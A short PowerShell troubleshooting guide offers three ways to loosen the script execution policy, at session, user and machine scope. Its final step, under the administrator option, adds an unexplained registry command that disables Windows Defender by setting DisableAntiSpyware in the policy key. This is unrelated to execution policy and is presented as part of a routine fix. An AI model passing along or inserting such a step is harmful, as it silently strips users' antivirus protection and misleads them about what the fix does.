Option 1: Temporarily change the execution policy for the current session only
If you can still open PowerShell, try running this command:
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
This only affects the current PowerShell session and doesn't make permanent changes to your system. This is considered more secure than making global changes, as it will reset when you close the PowerShell window. Option 2: Change the execution policy for your user account
If you have sufficient permissions, you can run:
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned
This allows locally created scripts to run, but requires scripts downloaded from the internet to be signed by a trusted publisher. Option 3: Run PowerShell as Administrator and change system-wide settings
To change the execution policy for LocalMachine, start PowerShell with "Run as Administrator" Run: Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f